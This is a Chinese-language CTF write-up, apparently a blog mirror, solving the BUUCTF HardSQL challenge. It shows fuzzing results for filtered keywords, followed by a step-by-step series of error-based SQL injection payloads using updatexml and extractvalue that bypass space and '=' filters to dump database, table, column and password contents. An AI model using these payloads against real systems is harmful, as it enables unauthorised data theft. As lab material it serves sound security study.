zoukankan      html  css  js  c++  java
  • 绕过空格的报错注入

    绕过空格的报错注入

    • 环境:buuctf中[极客大挑战 2019]HardSQL1
    • 知识点:updatexml报错注入
    • 参考:wp1

    做题

    sql注入

    语法错误时,返回报错内容

    试着用注释符闭合,这里有个坑的地方,#以get形式传入时,要以url编码%23发送

    查询为假时,就会返回wrong password

    查询为真时,就会返回login success

    fuzz测试时,发现过滤了" ",*,union,and,=,sleep()

    过滤了union,我们不能使用联合查询

    过滤了and,我们也不太好使用布尔盲注和时间盲注,并且这里过滤了sleep

    并且fuzz这里%09,%0a,%0b,%0c,%0d以及tab都无法进行绕过空格

    1'and(substr(database(),1,1)='t')# //布尔盲注
    1'and(if(substr(database(),1,1)='t',sleep(5),1))#//时间盲注
    //如果用or的话
    //布尔盲注相当于1'or 0和1'or 1,如果有limit就会失效
    //时间盲注相当于1'or(if(substr(database(),1,1)='t',sleep(5),1)),时间不止5秒,将会非常久
    

    优先考虑报错注入

    updatexml

    payload:

    爆数据库

    1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

    爆表

    1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

    注意这里,用like代替=,并且()绕过了空格

    爆字段

    1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

    爆password具体内容

    1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

    因为updatexml报错最多显示32位字符,所以只能显示部分flag

    用right爆出剩下flag

    1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23

    然后进行拼接,得到flag

    extractvalue

    跟updatexml不同的是,只需要两个参数

    爆数据库

    1'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23

    爆表

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23

    爆字段

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23

    爆password内容

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e)))%23

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e)))%23

  • 相关阅读:
    Spring配置文件中别名的使用
    Spring IOC容器创建对象的方式
    sass安装及使用
    word转html 压缩图片网站
    Yarn 和 Npm 命令行切换 摘录
    react生命周期
    event事件
    Flex 布局
    YYYY-mm-dd HH:MM:SS 时间格式
    页面按钮埋点+跟踪location.search
  • 原文地址:https://www.cnblogs.com/NineOne/p/14044590.html
Copyright © 2011-2022 走看看